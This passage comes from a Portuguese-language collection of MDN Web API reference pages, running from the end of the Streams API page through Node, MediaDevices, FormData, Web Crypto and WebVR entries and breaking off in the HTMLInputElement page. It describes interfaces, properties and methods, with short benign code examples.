streams.\n\n`ReadableStreamBYOBRequest` (en-US)\n\nRepresents a pull into request in a `ReadableByteStreamController` (en-US).\n\nExamples\n--------\n\nWe have created a directory of examples to go along with the Streams API documentation — see mdn/dom-examples/streams. The examples are as follows:\n\n* Simple stream pump: This example shows how to consume a ReadableStream and pass its data to another.\n* Grayscale a PNG: This example shows how a ReadableStream of a PNG can be turned into grayscale.\n* Simple random stream: This example shows how to use a custom stream to generate random strings, enqueue them as chunks, and then read them back out again.\n* Simple tee example: This example extends the Simple random stream example, showing how a stream can be teed and both resulting streams can be read independently.\n* Simple writer: This example shows how to to write to a writable stream, then decode the stream and write the contents to the UI.\n* Unpack chunks of a PNG: This example shows how `pipeThrough()` (en-US) can be used to transform a ReadableStream into a stream of other data types by transforming a data of a PNG file into a stream of PNG chunks.\n\nExamples from other developers:\n\n* Progress Indicators with Streams, Service Workers, & Fetch.\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Streams Standard # rs-class |\n| Streams Standard # ws-class |\n\nCompatibilidade com navegadores\n-------------------------------\n\n### api.ReadableStream\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.WritableStream\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Streams API concepts\n* Using readable streams (en-US)\n* Using writable streams (en-US)"}
{"title":"Node - APIs da Web","text":"Node\n====\n\n**`Node`** é uma interface da qual diversos tipos do DOM herdam, e que permite que esses tipos sejam tratados de forma similar, por exemplo, herdando os mesmos métodos ou sendo testados da mesma forma.\n\nTodos os tipos a seguir herdam essa interface e seus métodos e propriedades (apesar de que alguns podem devolver `null` em casos particulares em que o método ou a propriedade não são relevantes; ou lançar uma exceção quando adicionando um filho a um tipo de nó que não pode ter filhos): `Document`, `Element`, `Attr`, `CharacterData` (do qual `Text` (en-US), `Comment` (en-US), e `CDATASection` (en-US) herdam), `ProcessingInstruction`, `DocumentFragment`, `DocumentType` (en-US), `Notation`, `Entity`, `EntityReference`\n\nEventTarget\n\nNodePropriedades\n------------\n\n*Herda propriedades de seus pais, `EventTarget`*.[1]\n\n`Node.baseURI` Somente leitura \n\nRetorna uma `DOMString` representando o URL base do nó. O conceito de URL base muda de uma linguagem para outra; no HTML, ela corresponde ao protocolo, ao nome de domínio e a estrutura de diretório; tudo isso até a última `'/'`.\n\n`Node.baseURIObject` (en-US) \nNon-standard\n\nRetorna um objeto `nsIURI`, representando o URL base do nó. *(Indisponível para conteúdo Web)*\n\n`Node.childNodes` Somente leitura \n\nRetorna um objeto `NodeList` \"vivo\" contendo todos os filhos deste nó. Dizer que um objeto `NodeList` é vivo significa que se houver alguma mudança em um dos filhos deste nó, o objeto `NodeList` é automaticamente atualizado com tais mudanças.\n\n`Node.firstChild` Somente leitura \n\nRetorna um `Node` representando o primeiro filho direto do nó ou `null`, caso o nó não tenha nenhum filho.\n\n`Node.lastChild` Somente leitura \n\nRetorna um `Node` representando o último filho direto do elemento ou `null`, caso o elemento não tenha nenhum filho.\n\n`Node.nextSibling` Somente leitura \n\nRetorna um `Node` representando o próximo elemento na árvore ou `null`, caso tal nó não exista.\n\n`Node.nodeName` (en-US) Somente leitura \n\nRetorna uma `DOMString` contendo o nome do elemento, do `Node`. A estrutura do nome irá mudar conforme o tipo do elemento. Veja as diferenças na documentação do método `Node.nodeName` (en-US).\n\n`Node.nodePrincipal` (en-US) \nNon-standard\n\nUma interface `nsIPrincipal` representando o nó principal.\n\n`Node.nodeType` (en-US)Somente leitura \n\nRetorna um `unsigned short` representando o tipo do nodo. Valores possíveis são:\n\n\n\n| Nome | Valor |\n| --- | --- |\n| `ELEMENT_NODE` | 1 |\n| `ATTRIBUTE_NODE` | 2 |\n| `TEXT_NODE` | 3 |\n| `CDATA_SECTION_NODE` | 4 |\n| `ENTITY_REFERENCE_NODE` | 5 |\n| `ENTITY_NODE` | 6 |\n| `PROCESSING_INSTRUCTION_NODE` | 7 |\n| `COMMENT_NODE` | 8 |\n| `DOCUMENT_NODE` | 9 |\n| `DOCUMENT_TYPE_NODE` | 10 |\n| `DOCUMENT_FRAGMENT_NODE` | 11 |\n| `NOTATION_NODE` | 12 |\n\n`Node.nodeValue` (en-US)\n\nRetorna / Define o valor do nó atual\n\n`Node.ownerDocument` (en-US) Somente leitura \n\nRetorna o `Document` qual esse nó pertence. Se o nó em si é um documento, retorna `null`.\n\n`Node.parentNode` Somente leitura \n\nRetorna um `Node` que é pai desse nó. Se não existe tal nó, como, por exemplo, se esse nó é o topo da árvore ou se ele não participa de uma árvore, essa propriedade retorna `null`.\n\n`Node.previousSibling` Somente leitura \n\nRetorna um `Node` representando o último nó em uma árvore ou `null` se não existe tal nodo.\n\n`Node.textContent`\n\nRetorna / Define o conteúdo textual de um elemento e de todos os seus descendentes.\n\n### Propriedades descontinuadas\n\n`Node.rootNode` (en-US) Somente leitura  \nDeprecated\n\nRetorna um objeto `Node` representando o nó mais alto em uma árvore, ou o nó atual, se ele for o mais alto da árvore. Isso foi substituído por `Node.getRootNode()` (en-US).\n\n### Propriedades obsoletas\n\n`Node.localName` (en-US)Somente leitura \n\nRetorna um `DOMString` representando a parte local do nome qualificado de um elemento.\n\n**Nota:** No Firefox 3.5 e nas versões anteriores, a propriedade coloca em caixa alta o nome local de elementos HTML (mas não elementos XHTML). Em versões posteriores, isso não acontece, então a propriedade está em caixa baixa para ambos HTML e XHTML.\n\n`Node.namespaceURI` (en-US)Somente leitura \n\nO espaço de nomes URI desse nó, ou `null` se não estiver no espaço de nomes.\n\n**Nota:** No Firefox 3.5 e nas versões anteriores, elementos HTML estão no espaço de nomes. Em versões posteriores, elementos HTML estão em `https://www.w3.org/1999/xhtml/`, nas árvores HTML e XML.\n\n`Node.prefix` (en-US)Somente leitura \n\nÉ um `DOMString` representando o espaço de nomes do nó, ou `null` se nenhum prefixo é especificado.\n\nMétodos\n-------\n\n* `Node.appendChild`\n* `Node.cloneNode`\n* `Node.compareDocumentPosition` (en-US)\n* `Node.contains`\n* `Node.getFeature`\n* `Node.getUserData`\n* `Node.hasAttributes`\n* `Node.hasChildNodes` (en-US)\n* `Node.insertBefore`\n* `Node.isDefaultNamespace` (en-US)\n* `Node.isEqualNode` (en-US)\n* `Node.isSameNode` (en-US) \nDeprecated\n* `Node.lookupPrefix` (en-US)\n* `Node.lookupNamespaceURI` (en-US)\n* `Node.normalize` (en-US)\n* `Node.removeChild`\n* `Node.replaceChild`\n* `Node.setUserData`\nConstantes\n----------\n\nVeja também `Node.nodeType` (en-US)\n\n| Nome | Valor |\n| --- | --- |\n| `ELEMENT_NODE` | 1 |\n| `ATTRIBUTE_NODE` | 2 |\n| `TEXT_NODE` | 3 |\n| `DATA_SECTION_NODE` | 4 |\n| `ENTITY_REFERENCE_NODE` | 5 |\n| `ENTITY_NODE` | 6 |\n| `PROCESSING_INSTRUCTION_NODE` | 7 |\n| `COMMENT_NODE` | 8 |\n| `DOCUMENT_NODE` | 9 |\n| `DOCUMENT_TYPE_NODE` | 10 |\n| `DOCUMENT_FRAGMENT_NODE` | 11 |\n| `NOTATION_NODE` | 12 |\n| `DOCUMENT_POSITION_DISCONNECTED` | 0x01 |\n| `DOCUMENT_POSITION_PRECEDING` | 0x02 |\n| `DOCUMENT_POSITION_FOLLOWING` | 0x04 |\n| `DOCUMENT_POSITION_CONTAINS` | 0x08 |\n| `DOCUMENT_POSITION_CONTAINED_BY` | 0x10 |\n| `DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC` | 0x20 |\n\nExemplos de código\n------------------\n\n### Recuperar todos os nós filhos\n\nA função a seguir percorre todos os nós filhos de um nó recursivamente e executa uma função de callback em cada um deles (e no nó pai também).\n\n\n```js\nfunction DOMComb(oParent, oCallback) {\n  if (oParent.hasChildNodes()) {\n    for (var oNode = oParent.firstChild; oNode; oNode = oNode.nextSibling) {\n      DOMComb(oNode, oCallback);\n    }\n  }\n  oCallback.call(oParent);\n}\n```\n\n\n#### Sintaxe\n```\n\nDOMComb(parentNode, callbackFunction);\n```\n\n\n#### Descrição\n\nPercorre todos os nós filhos de `parentNode` recursivamente e o próprio `parentNode` e executa a `callbackFunction` em cada um deles como `this` (en-US).\n\n#### Parâmetros\n\n`parentNode`\n\nO nó pai (`Object``do tipo Node`).\n\n`callbackFunction`\n\nA função de callback (`Function` (en-US)).\n\n#### Exemplo de uso\n\nO exemplo a seguir envia para a função `console.log` o conteúdo textual do body:\n\n\n```js\nfunction imprimeConteudo() {\n  if (this.nodeValue) {\n    console.log(this.nodeValue);\n  }\n}\n\nonload = function () {\n  DOMComb(document.body, imprimeConteudo);\n};\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # interface-node |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"MediaDevices - APIs da Web","text":"MediaDevices\n============\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nAs interfaces **`MediaDevices`** proporcionam accesso aos dispositivos de entrada de midia conectados, como câmeras e microfones, bem como compartilhamento de tela. Essencialmente, isso te permite obter acesso a qualquer mídia gerada pelo hardware.\n\nPropriedades\n------------\n\n*As mesmas propriedades de `EventTarget`.*\n\n### Manipuladores de Evento\n\n`MediaDevices.ondevicechange` (en-US)\n\nO manipulador de evento para o evento `devicechange`. Esse evento é entregue ao objeto `MediaDevices` quando uma entrada de mídia ou dispositivo de saída é conectado ou removido do computador do usuário.\n\nMétodos\n-------\n\n*Mesmos métodos de `EventTarget`.*\n\n`EventTarget.addEventListener()`\n\nRegistra um manipulador de eventos para um tipo específico de evento.\n\n`MediaDevices.enumerateDevices()` (en-US)\n\nObtém um array de informações sobre a entrada de midia e dispositivos de saída disponíveis no sistema.\n\n`MediaDevices.getSupportedConstraints()` (en-US)\n\nRetorna um objeto consoante com `MediaTrackSupportedConstraints` (en-US) indicando quais propriedades restritivas são suportadas na interface `MediaStreamTrack` (en-US). Veja Capacidades e restrições (en-US) para aprender mais sobre restrições e como usá-las.\n\n`MediaDevices.getUserMedia()` (en-US)\n\nApós a permissão do usuário (pedida através de um prompt), liga a câmera, microfone e/ou a tramissão de tela no sistema e fornece uma `MediaStream` (en-US) contendo uma faixa de vídeo e/ou áudio com a entrada.\n\n`EventTarget.removeEventListener()`\n\nRemove um escutador de evento.\n\nExemplo\n-------\n\n\n```js\n\"use strict\";\n\n// Coloca as variáveis no escopo global para torná-las disponível para o Console do navegador.\nvar video = document.querySelector(\"video\");\nvar constraints = (window.constraints = {\n  audio: false,\n  video: true,\n});\nvar errorElement = document.querySelector(\"#errorMsg\");\n\nnavigator.mediaDevices\n  .getUserMedia(constraints)\n  .then(function (stream) {\n    var videoTracks = stream.getVideoTracks();\n    console.log(\"Got stream with constraints:\", constraints);\n    console.log(\"Using video device: \" + videoTracks[0].label);\n    stream.onremovetrack = function () {\n      console.log(\"Stream ended\");\n    };\n    window.stream = stream; // torna as variáveis disponíveis para o Console do navegador\n    video.srcObject = stream;\n  })\n  .catch(function (error) {\n    if (error.name === \"ConstraintNotSatisfiedError\") {\n      errorMsg(\n        \"A resolução \" +\n          constraints.video.width.exact +\n          \"x\" +\n          constraints.video.width.exact +\n          \" px não é suportada pelo seu dispositivo.\",\n      );\n    } else if (error.name === \"PermissionDeniedError\") {\n      errorMsg(\n        \"As permissões para usar sua câmera e microfone não foram fornecidas. \" +\n          \"Você precisa permitir o acesso da página aos seus dispositivos para \" +\n          \"que a demo funcione.\",\n      );\n    }\n    errorMsg(\"getUserMedia error: \" + error.name, error);\n  });\n\nfunction errorMsg(msg, error) {\n  errorElement.innerHTML += \"<p>\" + msg + \"</p>\";\n  if (typeof error !== \"undefined\") {\n    console.error(error);\n  }\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Media Capture and Streams # mediadevices |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Media Capture and Streams API (en-US): A API desta interface faz parte..\n* WebRTC API\n* `Navigator.mediaDevices` (en-US): Retorna uma referência para um objeto `MediaDevices` que pode ser usado para acessar dispositivos.\n* CameraCaptureJS: Captura de vídeo e playback em HTML5 usando *MediaDevices* e a *MediaStream Recording API* (código no GitHub)\n* OpenLang: Aplicação web de laboratório de linguagem de vídeo HTML5 usando *MediaDevices* e *MediaStream Recording API* para gravação de video (código no GitHub)"}
{"title":"RTCCertificate - APIs da Web","text":"RTCCertificate\n==============\n\nA interface da WebRTC API fornece um objeto representando um certificado que uma `RTCPeerConnection` (en-US) usa para autênticar.\n\nPropriedades\n------------\n\n`RTCCertificate.expires` (en-US) Somente leitura \n\nRetorna a data de expiração do certificado.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| WebRTC: Real-Time Communication in Browsers # dom-rtccertificate |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"FormData - APIs da Web","text":"FormData\n========\n\nA interface **`FormData`** fornece uma maneira fácil de construir um conjunto de pares chave/valor representando campos de um elemento `form` e seus valores, os quais podem ser facilmente enviados utilizado o método `send()` do XMLHttpRequest. Essa interface utiliza o mesmo formato que um `form` utilizaria se o tipo de codificação estivesse configurado como \"multipart/form-data\".\n\nUm objeto `FormData` pode ser usado diretamente em uma estrutura `for...of` em vez de `entries()`: `for (var p of myFormData)` é o mesmo que `for (var p of myFormData.entries())`.\n\n**Nota:** Esse recurso está disponível em https://developer.mozilla.org/pt-BR/docs/Web/API/Web\\_Workers\\_API\n\nConstrutor\n----------\n\n`FormData()`\n\nCria um novo objeto `FormData`.\n\nMétodos\n-------\n\n`FormData.append`\n\nAcrescenta um novo valor em uma chave existente dentro de um objeto `FormData`, ou adiciona a chave se ela ainda não existir.\n\n`FormData.delete`\n\nApaga um par chave/valor de um objeto `FormData`.\n\n`FormData.get`\n\nRetorna o primeiro valor associado com uma dada chave de dentro de um objeto `FormData`.\n\n`FormData.getAll`\n\nRetorna uma matriz de todos os valores associados a uma determinada chave de dentro de um `FormData`.\n\n`FormData.has`\n\nRetorna um valor boleano indicando se um objeto `FormData` contém um certo par chave/valor.\n\n`FormData.set`\n\nDefine um novo valor para uma chave existente dentro de um objeto `FormData`, ou adiciona a chave/valor se ele ainda não existir.\n\n\n**Nota:** Para ser claro, a diferença entre `FormData.set()` e `FormData.append()` é que, se a chave especificada não existir, `FormData.set()` irá substituir o valor existente por um novo, enquanto `FormData.append()` irá acrescentar um novo valor no final dos valores existentes. Veja as suas páginas dedicadas para código de exemplo.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # interface-formdata |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `XMLHTTPRequest`\n* Usando XMLHttpRequest (en-US)\n* Usando objetos FormData (en-US)\n* `<form>` (en-US)"}
{"title":"EventTarget - APIs da Web","text":"EventTarget\n===========\n\nResumo\n------\n\n`EventTarget` é uma interface DOM implementada por objetos que podem receber eventos DOM e tem que ouvir estes.\n\n`Element`, `document`, e `window` são os mais comuns disparadores de eventos, mas outros objetos podem disparar eventos também, por exemplo `XMLHttpRequest`, `AudioNode`, `AudioContext` e outros.\n\nMuitos disparadores de eventos (incluindo elements, documents, e windows) também suportam definir event handlers (en-US) através `on...` propriedades e atributos.\n\nMétodos\n-------\n\n`EventTarget.addEventListener()`\n\nRegistra um tratamento para um tipo específico de evento sobre o `EventTarget`.\n\n`EventTarget.removeEventListener()`\n\nRemove um *event listener* do `EventTarget`.\n\n`EventTarget.dispatchEvent()`\n\nDispatch an event to this `EventTarget`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # interface-eventtarget |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Referência de eventos (en-US) - os eventos disponíveis na plataforma.\n* Guia do desenvolvedor sobre Eventos\n* Interface `Event`"}
{"title":"CSS - APIs da Web","text":"CSS\n===\n\n`A interface CSS` carrega métodos CSS-relacionados úteis. Nenhum objeto com essa interface foi implementado: Aqui só contém métodos estáticos e futuramente uma interface útil.\n\nPropriedades\n------------\n\n*A interface CSS é a interface utilizada e nenhum objeto desse tipo pode ser criado: só métodos estáticos são definidos aqui.*\n\nMétodos\n-------\n\n*A interface CSS é a interface utilizada e nenhum objeto desse tipo pode ser criado: só métodos estáticos são definidos aqui.*\n\nMétodos státicos\n----------------\n\n*Nenhuma método estático herdado*.\n\n`CSS.supports()` (en-US)\n\nRetorna um `Boolean` (en-US) indicando se o par *property-value*, ou a condição dada do parâmetro é suportada.\n\n`CSS.escape()` (en-US) \nExperimental\n\nPode ser usado para escapar um string mais usado como parte de um seletor CSS.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Object Model (CSSOM) # namespacedef-css |\n| CSS Properties and Values API Level 1  |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Components.utils.importGlobalProperties"}
{"title":"Web Crypto API - APIs da Web","text":"Web Crypto API\n==============\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA **Web Crypto API** é uma interface que permite um script utilizar criptografias primitivas para criar sistemas usando criptografia.\n\nUma característica fundamental desta API é permitir a manipulação e o armazenamento de keys de criptografia privadas e secretas sem que o JavaScript tenha acesso aos bits internos das keys.\n\nEssa interface permite que scripts acessem as seguintes primitivas:\n\n* *digest*, a habilidade de computar um hash de um bloco arbitrário de dados com o objetivo de detectar se houve alguma mudança.\n* *mac*, a habilidade de computar um código de autenticação de mensagem.\n* *sign* e *verify*, a habilidade de assinar digitalmente um documento e de verificar se uma dada assinatura pertence àquele que afirma ser seu signatário.\n* *encrypt* e *decrypt*, a habilidade de codificar e decodificar um documento utilizando chaves criptográficas.\n* *import* e *export*, a habilidade de importar e exportar keys criptografadas.\n* *key generation*, a habilidade de criar uma key ou um par de keys de criptografia segura, sem o uso de uma key base, mas utilizando a entropia do sistema local como fonte de aleatoriedade para essa geração.\n* *key wrapping* e *unwrapping*, a habilidade de transmitir e receber uma key de um terceiro, codificada utilizando uma outra key, sem expor a key subjacente ao código JavaScript.\n* *random*, a habilidade de gerar números pseudo-randômicos de criptografia significante.\n\nA Web Crypto API não resolve todos os problemas de criptografia que um site Web ou aplicação pode encontrar:\n\n* Ela não dispensa o respeito ao modelo de origem idêntica (en-US) do navegador, como em casos em que chaves são fornecidas por autoridades centrais utilizadas por diversos sítios Web.\n* Ela é incapaz de interagir com hardwares dedicados, como cartões inteligentes (smartcards), tokens USB ou geradores de aleatoriedade.\n\n**Aviso:** **Atenção!**\n\n* O mero uso de criptografia não faz seu sistema seguro. Segurança é um **processo** que constantemente avalia os riscos em que um sistema pode incorrer dentro do seu contexto de utilização. O contexto e os riscos que podem ocorrer evoluem no tempo.\n* Quando se lida com segurança, todo o **sistema** precisa ser considerado. No caso da Web Crypto API, os desenvolvedores Web não devem considerar apenas a segurança de seu código ou script, mas também a segurança da conexão que é mantida com o servidor e os dados que o servidor pode manter em texto plano (não criptografado). A segurança geral não será mais forte que a segurança de da parte mais fraca do sistema.\n\nInterfaces\n----------\n\nAlguns navegadores implementam uma interface chamada `Crypto` sem que ela esteja bem definida ou seja substancialmente criptografado. Para evitar confusões, métodos e propriedades desta interface foram retiradas de navegadores que implementaram Web Crypto API, e todos os métodos Web Crypto API estão disponíveis em uma nova interface: `SubtleCrypto`. A propriedade `Crypto.subtle` dá acesso a um objeto que a implementa.\n\nCasos de uso\n------------\n\nA Web Crypto API pode ser utilizada:\n\n* Para verificar que dados não foram alterados por um terceiro. Mesmo se dados foram armazenados sem criptografia, o armazenamento de uma assinatura, gerada a partir de uma senha, permite que pessoas que conhecem a senha identificar se o conteúdo e a assinatura são genuínos.\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Cryptography API # crypto-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"WebVR API - APIs da Web","text":"WebVR API\n=========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO WebVR oferece suporte para expor dispositivos de realidade virtual - por exemplo, telas montadas na cabeça, como o Oculus Rift - para aplicativos da web, permitindo que os desenvolvedores traduzam informações de posição e movimento da tela para movimento em torno de uma cena 3D. Isso tem inúmeras aplicações muito interessantes, de passeios de produtos virtuais e aplicativos de treinamento interativo para super imersivo jogos em primeira pessoa.\n\nConceitos e uso\n---------------\n\n![Sketch of a person in a chair with wearing goggles labelled Head mounted display (HMD) facing a monitor with a webcam labelled Position sensor ](/pt-BR/docs/Web/API/WebVR_API/hw-setup.png)\n\nTodos os dispositivos VR ligados ao computador serão devolvidos pelo `Navigator.getVRDisplays()` (en-US) método. Que retorna uma matriz de objetos para representar os dispositivos conectados, que herdam do objeto geral `VRDevice` (en-US) Geralmente o display usado na cabeça terá dois dispositivos - o próprio display montado na cabeça, representado por `HMDVRDevice` (en-US), e uma câmera com sensor na posição que manterá o controle de sua posição de cabeça, representada por `PositionSensorVRDevice` (en-US).\n\nO objeto `PositionSensorVRDevice` (en-US) contém o método `getState()` (en-US), que retorna um objeto `VRPositionState` (en-US) - isto representa o estado do sensor num dado carimbo de data e inclui propriedades que contêm dados úteis tais como velocidade, aceleração e orientação atuais, úteis para atualizar o processamento de uma cena em cada trama de acordo com o movimento do visor montado na cabeça VR.\n\nO método `HMDVRDevice.getEyeParameters()` (en-US) retorna um objeto `VREyeParameters` (en-US), que pode ser usado para retornar informações do campo de exibição - quanto da cena a tela montada na cabeça pode ver.O `VREyeParameters.currentFieldOfView` (en-US) retorna um objeto `VRFieldOfView` (en-US) que contém 4 ângulos que descrevem a vista atual a partir de um ponto central. Você também pode alterar o campo de visualização usando `HMDVRDevice.setFieldOfView()` (en-US).\n\nWebVR Interfaces\n----------------\n\n`VRDisplay` (en-US)\n Representa qualquer dispositivo VR suportado por esta API. Ele inclui informações genéricas, como IDs de dispositivo e descrições, bem como métodos para começar a apresentar uma cena VR, recuperar os parâmetros do olho e exibir capacidades e outras funcionalidades importantes.\n `VRDisplayCapabilities` (en-US)\n Descreve os recursos de um `VRDisplay` (en-US) - seus recursos podem ser usados para executar testes de capacidade do dispositivo VR, por exemplo, ele pode retornar informações de posição.\n `VRPose` (en-US)\n Representa o estado de posição em um dado carimbo de data/hora (que inclui orientação, posição, velocidade e aceleração).\n `VREyeParameters` (en-US)\n Fornece acesso a todas as informações necessárias para processar corretamente uma cena para cada olho, incluindo informações de campo de visão.\n `VRFieldOfView` (en-US)\n Representa um campo de visão definido por 4 valores de graus diferentes que descrevem a vista a partir de um ponto central.\n `VRLayer` (en-US)\n Representa uma camada a ser apresentada em `VRDisplay` (en-US).\n `VRStageParameters` (en-US)\n Representa os valores que descrevem a área de estágio para dispositivos que suportam experiências em escala de sala.\n\nExtensões para outras interfaces\n--------------------------------\n\n`Gamepad.displayId` (en-US) Somente leitura \n Retorna o `VRDisplay.displayId` (en-US) do associado `VRDisplay` (en-US) - o VRDisplay que o gamepad está controlando a cena exibida de.\n `Navigator.activeVRDisplays` (en-US) Somente leitura \n Retorna uma matriz contendo todos os objetos `VRDisplay` (en-US) que está sendo apresentado (`VRDisplay.ispresenting` (en-US)).\n `Navigator.getVRDisplays()` (en-US)\n Retorna uma promessa que resolve uma matriz de objetos `VRDisplay` (en-US) que representa qualquer dispositivo VR disponível conectado ao computador.\n `Window.onvrdisplayconnected` (en-US)\n Representa um manipulador de eventos que será executado quando um dispositivo VR compatível tiver sido conectado ao computador (quando o evento `vrdisplayconnected` for acionado).\n `Window.onvrdisplaydisconnected` (en-US)\n Representa um manipulador de eventos que será executado quando um dispositivo VR compatível tiver sido desconectado do computador (quando o evento `vrdisplaydisconnected` for acionado).\n `Window.onvrdisplaypresentchange` (en-US)\n Representa um manipulador de eventos que será executado quando o estado de apresentação de um dispositivo VR mudar - isto é, vai de apresentar a não apresentar, ou vice-versa (quando o evento `onvrdisplaypresentchange` é acionado).\n\nExemplos\n--------\n\nVocê pode encontrar uma série de exemplos nesses repositórios Github:\n\n* A-Frame: Estrutura web de código aberto para a construção de experiências VR. Muitos exemplos.\n* mdn/webvr-tests: Demonstrações simples construídas para ilustrar o uso de recursos básicos.\n* MozVR team: Mais demonstrações, sobre WebVR e muito mais!\nEspecificações\n--------------\n\n#### No specification found\n\nNo specification data found for `api.Navigator.getVRDisplays`.  \nCheck for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* webvr.info- Informações atualizadas sobre WebVR, configuração do navegador e comunidade.\n* webvr.rocks- Informações atualizadas sobre o suporte ao navegador WebVR (incluindo compilações experimentais).\n* A-Frame- A web framework para a construção de experiências VR (com HTML), a partir da equipe Mozilla VR.\n* Console Game on Web- Uma coleção de demonstrações interessantes conceito de jogo, alguns dos quais incluem WebVR.\n* threejs-vr-boilerplate- Um modelo de iniciador muito útil para escrever aplicações WebVR.\n* Oculus Rift homepage"}
{"title":"HTMLSpanElement - APIs da Web","text":"HTMLSpanElement\n===============\n\nA interface **`HTMLSpanElement`** representa um elemento `<span>` e deriva de uma interface `HTMLElement` (en-US), mas sem implementar propriedades ou métodos adicionais.\n\nPropriedades\n------------\n\n*Essa interface não possui propriedades, mas herda propriedades de: `HTMLElement` (en-US).*\n\nMétodos\n-------\n\n*Essa interface não possui métodos, mas herda métodos de: `HTMLElement` (en-US).*\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # htmlspanelement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O elemento HTML que implementa essa interface: `<span>`."}
{"title":"DOMStringList - APIs da Web","text":"DOMStringList\n=============\n\nUm tipo retornado por algumas APIs, que contém uma lista de DOMString (strings).\n\nPropriedades\n------------\n\n`DOMStringList.length` (en-US) Somente leitura \n\nRetorna o número de itens da lista\n\nMétodos\n-------\n\n`DOMStringList.item()` (en-US)\n\nRetorna uma `DOMString`.\n\n`DOMStringList.contains()` (en-US)\n\nRetorna `Boolean` indicando se a string em questão está na lista\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-domstringlist-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"HTMLInputElement - APIs da Web","text":"HTMLInputElement\n================\n\nA interface **`HTMLInputElement`** fornece propriedades e métodos especiais para manipular as opções, layout e apresentação de elementos `<input>`.\n\nEventTarget\n\nNode\n\nElement\n\nHTMLElement\n\n(en-US)\n\nHTMLInputElementPropriedades da instância\n-------------------------\n\nAlgumas propriedades se aplicam apenas a tipos de elemento de entrada que suportam os atributos correspondentes.\n\n`align` \nDeprecated\n\n`string`: **Representa** o alinhamento do elemento. *Em vez disso, use CSS.*\n\n`autocapitalize` \nExperimental\n\n`string`: **Define** o comportamento de capitalização para a entrada do usuário. Os valores válidos são `none`, `off`, `characters`, `words` ou `sentences`.\n\n`defaultValue`\n\n`string`: **Retorna / Define** o valor padrão como originalmente especificado no HTML que criou este objeto.\n\n`dirName`\n\n`string`: **Retorna / Define** a direcionalidade do elemento.\n\n`inputmode`\n\nFornece uma dica aos navegadores quanto ao tipo de configuração do teclado virtual a ser usado ao editar este elemento ou seu conteúdo.\n\n`labels` (en-US) Somente leitura \n\n`NodeList` array: **Retorna** uma lista de elementos `<label>` que são rótulos para este elemento.\n\n`list` Somente leitura \n\n`HTMLElement` (en-US): **Retorna** o elemento apontado pelo atributo `list`. A propriedade pode ser `null` se nenhum elemento HTML for encontrado na mesma árvore.\n\n`multiple` (en-US)\n\n`boolean`: **Retorna / Define** o atributo `multiple` do elemento, indicando se mais de um valor é possível (ex. , vários arquivos).\n\n`name`\n\n`string`: **Retorna / Define** o atributo `name` do elemento, contendo um nome que identifica o elemento ao enviar o formulário.\n\n`step`\n\n`string`: **Retorna / Define** o atributo `step` do elemento, que funciona com `min` e `max` para limitar os incrementos nos quais um número ou data - valor de tempo pode ser definido. Pode ser a string `any` ou um número de ponto flutuante positivo. Se isso não for definido como `any`, o controle aceitará apenas valores em múltiplos do valor da etapa maior que o mínimo.\n\n`type`\n\n`string`: **Retorna / Define** o atributo `type` do elemento, indicando o tipo de controle a ser exibido. Para valores possíveis, consulte a documentação do atributo `type`.\n\n`useMap` \nDeprecated\n\n`string`: **Representa** um mapa de imagem do lado do cliente.\n\n`value`\n\n`string`: **Retorna / Define** o valor atual do controle. Se o usuário inserir um valor diferente do valor esperado, isso pode retornar uma string vazia.\n\n`valueAsDate`\n\n`Date`: **Retorna / Define** o valor do elemento, interpretado como uma data, ou `null` se a conversão não for possível.\n\n`valueAsNumber`\n\n`double`: **Retorna** o valor do elemento, interpretado como um dos seguintes, em ordem: Um valor de tempo, um número ou `NaN` se a conversão for impossível\n\n### Propriedades de instância relacionadas ao formulário 